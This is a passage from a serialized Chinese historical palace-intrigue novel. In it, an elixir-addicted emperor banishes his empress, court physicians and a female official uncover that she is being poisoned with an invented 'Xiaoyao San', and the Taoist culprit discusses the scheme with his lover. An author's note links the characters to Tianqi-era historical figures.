起初七日一丸,继而三日一丸,终至日日内服,片刻难离。 乾清宫的御案上,奏疏堆积如山,朱批却越来越少,后来索性连早朝也免了,只让司礼监将紧要奏本挑出来,送到西苑丹房外间的暖阁里。 那是泰和帝新辟的理政之处,实则大半时日都是在那里打坐调息,与虚云子论道谈玄。 自此,魏琰一人便独揽了批红之权。 六部九卿的奏本,要先过魏琰的眼,他说能呈,方能送到御前,他说该驳,那奏疏连宫门都进不了。 朝堂之上,阉党气焰日盛。 先前仗义执言的刘御史,因断了魏琰的财路,被随便逮个由头下了诏狱,其余不肯低头的,亦接连遭贬或被黜。 余下的那些趋炎附势的小人,惯会低头弯腰,在魏琰面前连口大气也不敢喘。 坤宁宫内,顾云舒终是坐不住了。 她望着铜镜中苍白憔悴的面容,突然想起少时在东宫,她放风筝扭伤了脚,朱弘睿急得满头大汗,一把将她抱起,声音发颤:“阿舒,疼不疼?” 那时他眼里心里,全是她。 如今呢? 顾云舒扶着如意的手起身,声音哑得厉害:“更衣,去西苑。” 冬日午后,西苑丹房的地龙烧得正旺。 泰和帝方才服了丹,正与虚云子在暖阁中对弈,忽闻内侍跪报说皇后来了,皱了皱眉头,还是淡淡吐出了一个字:“请。” 顾云舒进入到暖阁后,虚云子便起身,躬身行礼,只见他一身青布道衣,莲花冠束得一丝不苟,唇角的弧度恭谨得恰到好处。 “陛下。” 顾云舒敛衽福身,声线放得极柔:“臣妾听闻陛下连日在此理政,担心陛下龙体,特来请安。” 泰和帝指间捏着一枚黑子,目光仍盯着棋盘,只随意摆了摆手:“皇后有心了,朕无碍。” 顾云舒走近了些,丹药那股若有若无的异香便顺着鼻腔直钻进肺腑,惹得她心口发堵。 她定了定神,才缓缓道:“陛下,丹药终是外物,服用过量恐伤根本,臣妾恳请陛下,以龙体为重,以社稷为重…” “知道了。” 泰和帝打断她,落下一子,眉间隐有不耐:“朕自有分寸。” 虚云子在一旁温声劝慰道:“皇后娘娘放心,贫道所炼丹药皆取天地之精华,于陛下龙体有益而无害。” 顾云舒看都没看他,只望着泰和帝:“陛下,臣妾是您的妻子,忠言逆耳。” 泰和帝抬眸,看了她片刻,终究软了语气:“朕知道了,你先回去吧,朕晚些会去看你。” 顾云舒眼眶微热,轻轻点了点头,便退了出去。 此后七日,泰和帝食言,一步也未踏入坤宁宫,吃住都在西苑。 顾云舒有些按捺不住,再次来 到了西苑丹房。 泰和帝正盘坐在蒲团上调息养神,虚云子则立于一侧护法。 见皇后进来,泰和帝的脸色瞬间沉了下来: “皇后,朕不是已经说过了吗?朕无事。” 顾云舒径直跪下,脊背挺得笔直,泪眼涟涟,仰头看向泰和帝:“陛下,您是一国之君,岂可终日沉迷丹药,荒废朝纲?魏琰把持司礼监,独揽批红之权,朝中忠良遭贬,奸佞横行,陛下难道真要眼睁睁地看着祖宗的基业毁于一旦吗?” “放肆!”泰和帝猛地睁开眼,怒喝了一声,抓起手边的茶盏便狠狠砸了过去。 茶盏擦过顾云舒的耳畔,砸在门框上,霎时间四散飞溅。 顾云舒连躲都没躲,眼睛也未眨一下,只死死盯着泰和帝。 虚云子上前一步,躬身劝道:“陛下息怒,皇后娘娘也是关心则乱。” 随即,他转向顾云舒,声音温和道:“娘娘,陛下服用仙丹后神清气爽,处理政务反而更得心应手,何来荒废之说?娘娘此言,未免有失偏颇。” 顾云舒全然未看虚云子一眼,只对泰和帝道:“陛下若觉得臣妾放肆,臣妾甘愿领罚,只求陛下睁开眼,看清这朝堂,看清这天下!” 泰和帝因丹药刺激的情绪紊乱,胸口剧烈起伏着,他抬手指着她,手指止不住颤动:“你…你给朕滚出去!” 顾云舒缓缓起身,面色惨白,却仍挺直脊背,一步一步向外走去。 转身之际,她回眸一瞥,但见虚云子低眉顺目地立在泰和帝身侧,唇角却极轻极轻地挑起半分,似在对她挑衅。 冬去春来,乍暖还寒。 泰和帝依旧沉迷丹药,不问政事。 顾云舒在丹房门外跪了整整两个时辰,方才得见得陛下天颜。 丹房青烟袅袅,虚云子不在。 顾云舒心中刚升起一丝希望,却听泰和帝冷冷道:“皇后若是又来劝朕停药,就不必开口了。” “陛下!” 顾云舒声音发颤:“您看看您现在的样子,眼里只有丹药,只有那个道士!您可还记得,您是皇帝,是大晟的天子!” 泰和帝听到这话,猛地站起身,案上的博山炉被他的袖风扫落,一时香灰四散。 “朕当然记得!” 他双目赤红,声嘶力竭地撕喊着:“朕就是太记得了!朕记得在东宫时,先帝如何猜忌朕,记得那些朝臣如何阳奉阴违,记得这龙椅坐得有多冷多硬!如今朕好不容易能舒坦些,你为何非要跟朕过不去?啊?” 顾云舒被他吼得浑身发抖,她看着眼前这个面目狰狞的男人,忽然觉得陌生极了。 “臣妾…从未想与陛下作对。” 她声音低得像尘埃:“臣妾只是怕…怕陛下再这样下去,会毁了您自己。” “毁朕?” 泰和帝突然仰首狂笑,笑声里充满讽刺:“顾云舒,你以为你是谁?朕的母后早死了,还轮不到你来管教朕!” 这话如同一把淬了毒的匕首,狠狠捅进了顾云舒的心脏。 她身形一晃,踉跄着,双手死死扣住门框,才没让自己倒下,泪水早已盈满双目。 泰和帝背过身去,声音冰冷:“从今往后,没有朕的旨意,皇后不得踏入西苑半步,回你的坤宁宫去,朕的事,无需你管。” 滚烫的泪如决堤般划过顾云舒的脸颊,她呆立在原地,发不出一丝声音。 她最后望了他一眼。 那个曾在月下执起她手,发誓此生不负的少年,如今只剩下一个冰冷的背影。 顾云舒缓缓转身,一步一步踏出了丹房,也踏碎了心底最后的一丝余温。 丹房外,虚云子负手立于廊下。 见顾云舒掩门而出,他微微颔首,唇角扬起,眼底憎恶与得意交织,毫不遮掩。 好啊,终于光明正大的漏出狐狸尾巴了。 从今往后,她与这妖道,便势不两立,不死不休—— 作者有话说:历史上的天启确实是男女通吃,他有个娈童叫高小姐(性别男): 高为御前牌子,年少丹唇秀目,“姣好如处女”,宫中直呼“高小姐”。宫词形容:“汉帝椒风绝等侪,六宫粉黛枉金钗;高家小姐蛾眉好,那用凌波窄锦鞵。”每逢内宴,若高不在座,则“举座为之不欢”。后高永寿与皇上同玩“捉迷藏”时溺水而亡,熹宗“伤心欲绝”,特于大高殿设醮追荐,可见用情之专。 顾云舒的原型是天启皇后张嫣,天启元年,朝廷从五千名秀女中海选,15岁的张嫣因“颀秀丰整,面如观音”被熹宗一眼相中,四月正式册为皇后,父张国纪封太康伯。入宫后她多次直谏熹宗远小人,诵读《赵高传》影射魏忠贤;又借皇后之权惩处客氏,遂被阉党视为眼中钉。天启三年她怀孕,客氏买通宫女,以按摩为名猛击其腰腹,致她流产生下死胎,从此失去生育能力。 本文74章有描述顾云舒的样貌:“她未施粉黛,面上仍带几分大病初愈的倦意,只披了一件素白的缎子长衫,耳间坠着两串鎏金葫芦耳坠,神情雍容,仿若观音垂目。” 正好对上张嫣“面如观音”的历史描述,同时素色立领长衫对应天启崇祯年间女性穿衣时尚。 第100章 顾云舒自西苑丹房一路踉跄回到坤宁宫, 脚步都是虚的。 如意扶着她,只觉顾云舒的手臂在止不住地轻颤,便低声劝问道:“娘娘, 传轿可好?” 顾云舒只是咬着牙, 轻轻摇了摇头, 嘴唇抿得死紧。 在踏进坤宁宫门的一瞬,顾云舒的身子终于撑不住了,只见她身形一晃,双腿一软,整个人直直栽进了如意的怀中。 “娘娘!” “皇后娘娘!” 宫人们霎时惊慌失措,七手八脚地将她抬回寝榻,盖好锦被。 顾云舒双目紧闭, 呼吸又轻又急,胸口剧烈地起伏着, 整个人破碎的好似风中残烛, 随时都会熄灭。 太医院的卢院判几乎是第一时间赶到,他跪在塌前请脉,指尖刚搭上覆在顾云舒腕间的丝巾, 眉心霎时便拧成死结。 皇后的脉象虚浮凌乱,时疾时缓, 似狂风中被吹乱的游丝。 “娘娘这是急火攻心,又受了寒。” 卢院判斟酌着开口:“臣开一剂疏肝理气, 祛寒固本的方子,娘娘按时服下, 静养几日便好。” 如意拿着卢院判开的方子,即刻便请司药司的韩司药按药方抓药煎制,药很快便煎好了。 随即, 她扶着顾云舒起身半坐,接过药盏,盏中浓药热气翻涌。 顾云舒捧过药盏,指尖被烫得通红,她却麻木不觉,一口气 便灌了下去,汤药的苦味从舌尖一直蔓延到喉咙深处。 喝过药后,她木然躺回枕上,阖上眼,静静地等待着药效发作。 然而三日转瞬即逝,药一碗接着一碗地灌下去,顾云舒的病势却愈发沉重。 白日里,她昏昏沉沉,一阵阵地发冷,裹着两层厚被仍止不住地打寒战。 到了夜里,高烧骤起,额头滚烫如火,胡话连篇,口中喊着“陛下…”,声音虚弱而急切,冷汗浸透了一层又一层寝衣。 如意又火急火燎地把卢院判请来。 卢院判跪伏榻前,诊了许久,但见皇后的脉象似湍急的溪流,忽而汹涌,忽而细弱… 这次他另拟了新方,添加了镇惊安神之药,并叮嘱如意三日之后再看药效。 然三日之期又过,顾云舒依然没有好转… 冷热交替,时昏时醒,顾云舒人已经瘦了一圈,眼窝深陷,颧骨高高凸起,原本合身的寝衣,如今松松垮垮地挂在身上,像套了个空架子般。 太医院的几位老太医都到了,轮番请脉,皆道卢院判的诊断无误。 司药司的韩司药也来了。 她是宫中掌管药材的女官之首,对药性再熟悉不过,她仔细查看了这些日子用过的药方,又亲自看着煎了一剂药,确保万无一失,才端到皇后榻前。 顾云舒昏昏沉沉的,药喂进去一半,洒了一半。 韩司药守在榻边,寸步未离,两个时辰后,顾云舒又开始发抖,韩司药伸手探她额头,滚烫的吓人,再摸手腕,脉象乱得像一锅沸水。 她的脸色骤沉,立刻起身去找卢院判,低声道: “药都对症,药材皆选上品,煎煮的火候亦分毫不差,可皇后娘娘这病…就是不见起色。” 卢院判没说话,只是从袖中取出一张纸,上面密密麻麻地记着这几日的脉象变化。 他指着其中一行,对韩司药道:“你看这里,辰时脉沉细,午时却又浮数,酉时再沉,这…这不像是寻常病症的脉象变化。” 韩司药盯着那张纸看了很久。 半晌,她抬起头,低声问道:“卢院判,您行医多年,可曾见过类似的症候?” 卢院判叹了口气,摇了摇头:“老夫行医数十载,从未见过如此怪异的脉象,为今之计…惟有去请我的恩师王老太医出山。” 韩司药眸光一亮:“卢大人说的,可是那位已致仕归家,昔日先帝御口亲封国医圣手的王老太医?” 卢院判颔首:“王老师正是顺天府人,虽致仕但仍居京城,事不宜迟,我即刻起身去夜访恩师。” ———— 夜色已深,卢院判卸了官服,换了一身不起眼的灰布直裰,头戴大帽,独自出了宫门。 王老太医的宅子在城西一处僻静的巷子深处,卢院判深夜扣门,掌心的汗都是湿的。 半晌,门开了道缝,探出个小童的脸,约莫十二三岁,眼睛圆溜溜的。 “卢大人?” 小童认得他,侧身让路:“您怎么这个时辰来了?” “下官有急事求见恩师。” 卢院判踏进府门,声音焦急道:“中宫娘娘病重,脉象怪异,太医院束手无策,只能请恩师出山。” 那小童却缩了缩脖子,面露难色:“卢大人,您来得不巧,王老太医三日前便已动身去太行山,说深山中有几味珍稀药材正逢花期,得趁时采摘。” 卢院判心下当即一沉:“可知恩师何日能回?” 小童摇头:“说不准,太行山深,老太医向来采够才回,一来一回,少说也得数月之久。” 卢院判僵立在院中,初春的冷风吹得他灰布直裰的衣角翻飞。 那小童见他脸色灰败,迟疑了片刻,低声问道:“卢大人,您说的脉象怪异…究竟是怪在何处?” 卢院判将顾云舒的脉象变化细细说与他听,只见那小童的眉头越皱越紧。 “卢大人。” 小童等他说完,才压低声音道:“您讲的这脉象,确实邪门,小的学识浅,也摸不透,不过…” “不过什么?” 那小童顿了顿,似在回忆:“之前听王老太医随口提过,济慈堂那桩案子,连同文府老太君暴毙之事,一并审过。说是老太君患的是心疾,可大夫们按寻常心疾的治法下药,不但不见起色,反倒一日重过一日,终至暴毙而亡。” “王老太医说,文老太君是沾了味怪药,那药寻常的手段验不出,对症下药反而催命,具体是什么药,小的也不清楚,老太医没细说。” 卢院判眼前突然一亮,他立马抓住那小童的双臂:“怪药?你可知那怪药叫什么?什么来历?” 小童仍是摇头:“这小的实在不知,不过…” 半晌,小童抬眼看向他:“济慈堂那案子,一直是宁王府一位姓周的女官帮老太医查的。配药验药,推敲脉案,她都出了不少力。卢大人若真想弄明白,何不去宁王府问问那位女官?她或许知道底细。” 卢院判心头一跳。 宁王府,周女官… “多谢小兄弟提点。”卢院判急急松手,理了理衣袍,朝小童匆匆一揖,转身便没入黑夜。 夜色正浓,街上空无一人,他翻身上马,直奔宁王府而去。 马蹄声在寂静的黑夜中显得格外清晰。 到了王府门前,卢院判翻身下马,抬手便叩门。 好一阵,里头才传来脚步声,门开了条缝,长安揉着眼睛探出头,身上披着外袍,显然是从床上刚爬起来。 “卢大人?” 长安愣了愣:“您这是…” “下官有急事求见王爷。” 卢院判喘得急,声音发紧:“事关中宫娘娘凤体,一刻也耽搁不得。” 长安见他脸色煞白,哪敢怠慢,忙侧身让路:“大人请进,小的即刻去禀报王爷。” 宁王府的书房灯火未歇。 朱弘毅披着外袍坐在案后,手中拿着书卷,正在秉烛夜读。 见卢院判进来,他放下手中书卷,目光平静:“卢大人深夜到访,所为何事?” 只见卢院判扑通一声跪地,将顾云舒的病势,太医院的束手无策,王老太医遍寻无着,以及小童口中那味怪药的来龙去脉,一五一十地全说了。 末了,他抬起头,声音中带着希冀:“王爷,下官听闻王府有位周女官,精于医理,曾协助王老太医查办济慈堂案,下官斗胆,想请周女官入宫,为皇后娘娘诊看一二。” 朱弘毅静静听完,面上波澜不惊。 待卢院判说完,他才缓缓开口:“卢大人要找的周女官,早已不在本王府中了。” 卢院判怔住:“那…恳请王爷告知,这位周女官如今身在何处?” 朱弘毅看着他,声音平淡:“她如今在司籍司任职正八品司掌,卢大人若想请她,该去六尚局要人。” 卢院判僵在原地。 原来兜兜转转一晚,他要找的人竟就在宫里。 朱弘毅见他这般模样,微微低叹,语气中带着几分宽慰:“卢大人且先回宫,这一夜忙得紧,想必你也辛苦得很,明日一早,女官上职之前,你去寻崔尚宫,直接向她要人便是。” 卢院判谢过宁王,转身出了书房,离开了宁王府。 天还没亮,宫门还没开,他牵着马,在街角站了会儿,冷风拂面,吹得他头脑愈发清醒。 这一夜,从坤宁宫到王宅,从王宅到宁王府,绕了一大圈,结果要找的人,其实就在眼皮子底下。 想到这里,他翻身上马,慢慢朝宫门方向走去。 待他行至宫门口时,天边才刚泛起鱼肚白。 守门的侍卫认得他,未多问便放行了。 卢院判没有回太医院,而是径直朝六尚局走去。 六尚局值房里,灯火早已亮起。 他推门而入,房内只有两人。 崔尚宫端坐于案后,正在翻阅今日的职事簿,她向来是到的最早的,几十年如一日,从未懈怠。 韩司药站在窗边,手中捧着药典,她正在为皇后的病情发愁,瞧这模样,也是彻夜未眠。 听到脚步声,二人齐齐转头。 “卢院判?” 韩司药一怔:“您怎会…” 卢院判摆摆手,径直走到崔尚宫案前,行了个礼。 “崔尚宫。” 他声音哑得厉害:“下官有件事,想求您帮忙。” 崔尚宫放下手中簿子,抬眼看他:“卢大人请讲。” 卢院判便将这一夜的经历,从头至尾细细地说了一遍。 从他如何去到王宅,又如何见到那童子,如何听闻了怪药之事,继而匆忙赶往宁王府,最终从宁王口中得知周妙雅的下落。 韩司药起初还立在窗边,听着听着,便慢慢走了过来。 等卢院判说完,值房内霎时陷入了短暂的沉寂。 崔尚宫 缓缓开口,打破了这沉寂:“所以,卢院判的意思是…想请司籍司的周司掌,去坤宁宫为皇后娘娘诊病?” “是。” 卢院判点头:“下官实在是没别的法子了,太医院用尽了手段,皇后娘娘的病就是不见好。那怪药之说,虽不知真假,但…或可一试。” “周司掌懂医理?” 韩司药愕然:“她是司籍司的人,管的是典籍书画,怎么…还通医理?” 卢院判看着她,笃定道:“王老太医的童子亲口说,那济慈堂案便是周司掌帮着查的,配药验药,推敲脉案,她都出了力。” 韩司药着实是有些惊讶,她掌管司药司多年,见过不少懂药的女官,医女,可一个掌管典籍书画的司籍女官,竟也能随王老太医断案辨毒? 这实在是有些超出她的认知… 半晌,崔尚宫终于开口:“此事既然涉及怪药,便是有人要暗害中宫,你们二人且暂勿声张,去请周司掌,此事须做得巧,不可打草惊蛇。” 卢院判与韩司药面面相觑。 崔尚宫沉吟片刻:“韩司药,你去司籍司一趟,把周司掌请来,就说…就说本官要核对一批新入库的医书,请她来帮忙鉴定。” “是,下官明白。”她低声领命,转身便要走。 “且慢。” 崔尚宫叫住她:“悄悄的,别惊动旁人,切记,千万莫在外人面前提及病症二字。” 韩司药颔首,快步出了值房。 屋内只剩崔尚宫与卢院判两人。 卢院判望着崔尚宫的背影,低声探问:“崔尚宫…您信那怪药之说么?” 崔尚宫默然片刻,回身抬眸,语气平静:“我信不信不重要,重要的是,皇后娘娘的病,不能再拖了。”《 》 100-110 第101章 应天府至顺天府的官道上, 尘土飞扬。 顾凌云伏在马背上,鞭子抽得又急又狠,马儿一路狂奔, 直至口吐白沫, 他却无暇顾及, 只觉归心似箭,满脑子全是阿姐的病情。 昨日他人还在南京应天府衙署,核对南直隶卫所的兵册。这差事本不急,本可在南京盘桓半月。然晌午过后,他突然收到京中驿使送来的一封家书,乃是府中老管家所写:皇后娘娘凤体违和,府中上下皆忧, 盼少爷速回京城。 顾凌云当即心下一沉。 阿姐的身子,他再清楚不过了, 早年因流产落下的病根, 平日里虽看着无恙,但遇事便容易发作,老管家的信送的火急火燎, 想必是京中出了大事。 他片刻也不敢耽搁,当即赶往南京兵部, 寻着主事,说要提前回京。主事却打着哈哈, 道差事尚未办妥,朝廷自有章程, 不好擅自离任。 顾凌云没跟他废话,径直闯进了兵部尚书的签押房。 南京兵部尚书黄一石,知他是国舅, 对他倒还算客气。 顾凌云也不绕弯子,把家书往桌案上一放:“黄大人,家姐病重,下官需即刻返京。” 黄尚书看了看信,沉吟片刻,叹道:“顾大人孝悌之心,老夫明白,只是这差事…” 顾凌云直视他,眼神凌厉:“差事下官已核对大半,余下条目,留书吏续办便是,若朝廷怪罪,下官愿一力承担所有罪责。” 毕竟是当朝国舅,话说到这份上,黄尚书也不好再拦,便挥挥手准了。 顾凌云连包袱都未整,当即便快马加鞭出了南京城,朝着京城方向疾驰而去。 起初他还自我宽慰,阿姐在宫中,太医院中德高望重的太医那么多,妙手济济,自能转危为安。 越往北走,他心中越不安宁。 夜投驿站,他听见隔壁桌两个离京去地方赴任的官员闲聊,说京中最近不太平,皇后娘娘病了好些日子,太医院束手无策,陛下如今只信西苑那个道士,连早朝都罢了。 顾凌云手中的茶盏几乎要被捏碎。 他猛地冲过去,揪住那官员的领子,厉声喝道:“你说什么?皇后娘娘怎么了?” 那官员突然被这八尺大汉揪住,早吓得魂飞魄散,结结巴巴地又把话重复了一遍。 顾凌云这才松开手,站在驿站昏黄的明角灯下,浑身发冷。 阿姐的病,竟连太医院都束手无策… 而他又偏偏在这个时候,被派往南京… 说不是巧合,他自己都不信。 这些事,桩桩件件,都透着蹊跷。 竟有太医院都治不了的病? 霎时间,他猛地想起了什么! 逍遥散! 那个无色无味,被下在药中,银针验不出,药渣无异常的北狄秘药逍遥散! 难道宫中竟有人用这阴毒之物害人? 他不敢再往下想了。 文老太太的悲剧就在他眼前,他绝不能让阿姐重蹈覆辙! 必须连夜启程,以最快的速度到达京城! ———— 韩司药以整理医书典籍的名义,将周妙雅带到了六尚局最深处的典籍室。 此处平时鲜少有人踏足,在典籍室的最深处,珍藏着一整套嘉靖版《永乐大典》。 韩司药移出最里侧的一册,赫然出现了一个暗格,她在暗格处摸索了片刻,只听“啪”一声脆响,墙面霎时滑开一道缝隙,刚好容一人侧身进入。 周妙雅愕然:“这?” 韩司药轻轻颔首:“周司掌,里面的人已等候多时了。” 周妙雅半信半疑地走进那间密室,密室不大,仅摆着一张长案和两把椅子。 密室无窗,崔尚宫负手站在一盏昏黄的明角灯下,屋内另有一个中年男人,端坐在椅子上。 周妙雅谨慎上前:“下官拜见尚宫。” 崔尚宫抬手免礼,周妙雅方才抬起头,隐去了面上的疑色,只用余光悄悄看向案旁那位始终未说话的陌生男人。 韩司药上前,低声引介道:“周司掌,这位是太医院院判卢大人,卢大人,这便是司籍司的周司掌。” 卢院判…周妙雅之前听朱弘毅提起过。 那时她为了利用顾凌云的伤势接近皇后,昼夜不分地守在顾府,朱弘毅发疯般拦她,说可以亲自去求卢院判救顾凌云。 原来眼前这位便是卢院判… 只是…这位太医院的最高掌权者,为何要来寻她这一个管典籍书画的司籍司女官?还让韩司药以整理医书典籍的名义,难不成…是跟最近宫中疯传的皇后病危有关? “周司掌。”卢院判起身,揖了一礼。 周妙雅这才回过神儿来,连忙回了一礼。 卢院判则开门见山:“今日冒昧请周司掌来,实则是为了皇后娘娘的病情。因太医院对症下药,皇后的病情却始终不见好转,反而愈发严重,故而昨夜下官奔走通宵,先是去了恩师王太医的府邸,恩师虽外出去深山采药,其小徒却道,昔日济慈堂案,曾现过一种无色无味,银针难验之奇毒,而破此案者,竟是宁王府一位姓周的女官。下官旋即夜奔宁王府,殿下告之周司掌已入宫,现今任职于司籍司。下官即刻回宫,天未亮便来到了六尚局,向崔尚宫求人。” 周妙雅惊讶抬头,望向崔尚宫。 崔尚宫轻轻颔首:“此事不宜声张,所以才将周司掌请到这密室来,如若宫中真有人用这怪药陷害皇后娘娘,我们在揪出这毒虫之前,万万不可打草惊蛇。” 周妙雅微微点头:“下官明白。” 卢院判则拱手道:“那便有劳周司掌,给我们详细讲讲这怪药到底是什么。” 周妙雅眼神笃定,缓缓开口:“北狄宫廷秘药逍遥散,济慈堂后山的白骨与文家老太君皆命丧于此毒之下。据载此毒无色无味,入水即融,少量令人神智昏聩,产生幻觉,中量可致人长睡不醒,若剂量足够,半个时辰内便能悄无声息取人性命。事后查验,无论是银针探毒,还是查验药渣,都寻不到丝毫痕迹。” 韩司药难掩脸上惊讶、愕然的神情:“北狄秘药?” 卢院判与崔尚宫面面相觑。 北狄…多年侵扰大晟的辽东之地,与大晟乃是死敌。 如 若真是这北狄秘药,那事关重大,难不成已有潜伏在宫中的北狄奸细? 卢院判定了定神,继续问道:“周司掌,请问可有什么法子,验出这北狄逍遥散?” 周妙雅镇定答道:“此药虽在药渣中不留痕迹,其性却极阴寒,药力溶解后,极微小的颗粒会随着时日推移,慢慢附着于盛放它的器皿底部,状若细微白晶,非十日不能凝集,且需在特定光线下方能察觉。且白晶遇到烈酒,会燃起极其细微的淡蓝色烟雾。” 周妙雅话音刚落,密室内霎时陷入一片死寂。 众人面上皆是惊愕之情难掩。 康婧瑶已死,济慈堂案已结,逍遥散这名字,本该随着那些腌脏事一起埋进土里。 如此阴损之毒,居然又现身了,而且出现在皇宫大内,竟然被用在一国之母身上。 康靖瑶临死之前的话还回响在耳畔:“所有人都只是棋子。” 周妙雅不禁心下愕然,惊出一后背的冷汗,棋局…按捺不住…开始动了。 “周司掌。” 卢院判的声音将她从思绪中拉了回来。 她抬起头,正对上卢院判那双布满血丝的眼睛。 卢院判缓缓道:“你方才说,那白晶需十日才能凝集?” “是。” 周妙雅点头:“药力溶解后,极微小的颗粒会慢慢沉淀附着,时间短了,肉眼看不见,得需满十日方能显形。” 卢院判眸色一沉,转向韩司药:“韩司药,司药司那边,可还留着皇后娘娘生病这些日子的药渣?” 韩司药一怔,随即道:“有,照宫规,贵人们的药渣留十日备查。皇后娘娘这病已拖了半个多月,头几日的药渣尚在坤宁宫后库。” “好。” 卢院判起身:“你现在就去取,记住,只取最早那批,至少十日前的。” 韩司药应了声,转身欲走。 “且慢。”崔尚宫开口。 只见她走到密室尽头,手指在壁砖暗纹处重重一按,石墙悄然滑移,后面竟露出一条幽黑的暗道。 “这?”韩司药愕然问道。 崔尚宫则语气淡定:“外面人多眼杂,此事既疑似涉及敌国秘药,外头俨然已经不安全。你们走这密道去坤宁宫,这些时日,坤宁宫的宫人已被我筛了一遍又一遍,可疑的人都已被我打发走了。此密道无人知晓,只有如意一人知道,你们走这条密道,到了坤宁宫如意自会接应你们。” 她又转向卢院判与周妙雅:“你们也一道同去,药渣取来,就地查验。若真是逍遥散,那皇后就是被人蓄意下毒谋害,而下毒之人,很可能就在这宫里。” 语毕,她行至周妙雅面前,目光沉静:“周司掌,此事凶险,一旦查出端倪,必定惊动暗处的毒蛇。” 周妙雅迎上她的目光:“下官明白。” “好。” 崔尚宫退开一步,侧身让开暗道口:“诸位速去,我于此静候消息。” ———— 密道比想象中要长。 三人走了约莫一炷香的功夫,前方终于出现一点微光。 行至密道尽头,韩司药想起刚刚崔尚宫的叮嘱,她伸手在墙壁上摸索了片刻,按下一块松动的青砖。 墙壁悄然滑开一道缝隙,外头是一间堆杂物的耳房,窗扇紧闭,仅余一缕天光透入。 如意已候在暗门边,声音压得极低:“卢大人,韩司药,周司掌,娘娘刚刚又昏过去了。” 卢院判心头骤紧,随即快步随她进了内殿,周妙雅亦一同跟上,韩司药则径直去了后库取药渣。 病榻上,顾云舒紧闭着双眼,脸色惨白如纸,她整个人被病痛折磨的瘦骨嶙峋,唯有胸口微弱的起伏,证明她还活着。 如意红着眼别过脸,指尖微颤,轻轻将被角掀起,把顾云舒瘦若枯枝的手腕托了出来。 卢院判上前,为顾云舒诊脉。 良久,他收回手,转身看向周妙雅,叹息地摇了摇头:“脉象比昨日更乱,已如将断之弦。” 闻言,周妙雅的心像被一只无形的手紧紧攥了一下。 昔日皇后凤仪雍容,她借顾凌云之伤向皇后求恩赏,皇后毫不犹豫地答应了她,帮她寻了孙女官,让她知道了自己的身世。 如今是她该还恩情的时候了。 须臾之后,韩司药终于捧着药罐回来了。 韩司药将陶罐置于案上:“这是皇后娘娘病倒后盛放药渣用的药罐,按日子算,昨日刚好是第十日。” 卢院判快步走了过去。 陶罐不大,罐口用油纸封着,他小心翼翼地揭开油纸,将内里的药渣取了出来。 而后,他凑到窗边,借着天光仔细看罐底。 日光从窗格漏进来,卢院判借着日光反复调整角度,幽深的陶罐底部,似乎…真的有什么东西在反光。 极细微的,星星点点的,像撒了层极细的盐粒。 卢院判的手下意识地抖了一下。 他拿起旁边的小银勺,小心翼翼地将罐底那些白点刮到一起,聚成一小撮,放在白瓷盘中。 “周司掌…”他声音发颤。 周妙雅转头看向如意:“如意姐姐,可否取一壶最烈的酒来?” 如意应声,立刻取了一壶最烈的女儿红。 周妙雅将烈酒缓缓滴在白瓷盘上,就在酒液滴落,与白晶相融的瞬间—— 一股极淡的,几乎看不见的淡蓝色烟雾,袅袅升起,转瞬即逝。 屋里死一般寂静,所有人都看见了那淡蓝色的烟雾。 逍遥散! 第102章 西苑, 丹房后的寝殿中,帐幔低垂。 榻上两具身子交缠,喘息声混着低吟, 在昏暗的光线中起起伏伏, 过了许久, 动静才渐渐歇了下来。 女人伏在虚云子胸口,指尖懒懒划过他汗湿的胸膛。 她鬓发凌乱,脸颊泛着颠鸾倒凤后的潮/红,声音却已冷静了下来:“皇后那边,怎么回事?病了大半个月了,太医院那帮废物,怎的连个病因都查不出来?” 虚云子闭着眼, 粗糙的大手在她光滑的脊背上缓缓地摩挲着,唇角勾了勾:“查不出来就对了。” 女人抬起头:“什么意思?” “很简单。” 虚云子睁开眼, 眸中寒意森然:“卢院判那老狐狸, 自诩扁鹊再世,这回却连病因都摸不透,他怕是要栽跟头了。” 女人猛地撑起上半身, 锦被滑至腰际:“你把话说清楚。” 虚云子低笑一声,将她重新按进怀里, 嘴唇贴在她的耳廓,吐息冰凉:“皇后那病, 本就不是病。” 女人的身子瞬间僵住,声音发紧:“你…你动的手脚?” “嗯。”虚云子应得轻描淡写。 女人呼吸骤促, 声音陡然拔尖又死死压住,气音带着颤:“你用了逍遥散?你是不是疯了!那东西早就暴露了!昔年济慈堂的案子,文老太太的死, 都被查出是栽在这上头!你还敢用?” 虚云子懒洋洋地掐了一把她的腰枝,语气轻佻:“暴露了又如何?太医院那帮庸医,能查得出来?” “可卢院判不是庸医!” 女人急得声音发颤:“若是他顺藤摸瓜,找上司籍司那个周妙雅呢?那女人昔年可是帮着王老太医破了济慈堂案,逍遥散的底细,她全知道!” 虚云子的指尖顿了顿,笑意骤然收敛。 他松开手环在女人腰枝上的手,慢条斯理地倚坐而起,从榻边矮几上取过一杆象牙烟杆,挑了一撮烟丝填入,火石轻擦,青烟袅袅升起,掩住了他眼底一闪而过的阴鸷。 “周妙雅…”他指腹摩挲着烟杆,低声反复玩味着这三个字。 女人坐起身,扯过被子裹住自己:“对,她现在在司籍司做司掌,卢院判要是走投无路,顺藤摸瓜查到线索,迟早会找上她,到时候皇后中的是什么毒,便再也瞒不住了。” 虚云子抽了口烟,缓缓吐出。 烟雾缭绕,掩住了他眼底乍现的寒光杀意。 “卢院判找过她了?”他问。 “还没有。”女人道。 虚云子 沉默了片刻,忽然低笑:“有意思,一个管笔墨书画的女官,竟能懂逍遥散?” “你可别小瞧她。” 女人声音发紧:“康婧瑶怎么死的?济慈堂的案子怎么破的?都是她搅和的!这女人邪性得很,看着不声不响的,下手却狠。” 虚云子不语,只盯着手中的烟杆。 烟丝烧得通红,一寸寸地向下吞噬着。 “魏公公知道么?”他忽然问道。 “还不知道。” 女人语气急躁,掀开被子下了榻,捡起散落在地上的衣服,一件件往身上套:“我这就得派人去通知魏公公,让他赶紧拿个法子,还有康大人那边,也得递信,片刻耽误不得。” 虚云子看着她穿衣服,忽然伸手拉住她的手腕。 “急什么?” 他嗓音慵懒,指腹仍摩挲她腕内雪白的嫩肤:“日头还高着呢。” “能不急吗?我这不是怕她们最终查到你头上?我还不是因为舍不得你这个冤家!” 女人想甩开他的手,却没甩动:“等卢院判真找上周妙雅,什么都晚了!” “晚不了。” 虚云子手臂一收,将她重新按回榻上:“皇后那边,药已经停了,太医院那帮人,查不出什么。” 女人被他压得动弹不得,锦被下滑,露出半截雪白酥肩。 “你停了药?” 她瞪着他:“什么时候停的?” “三日前。” 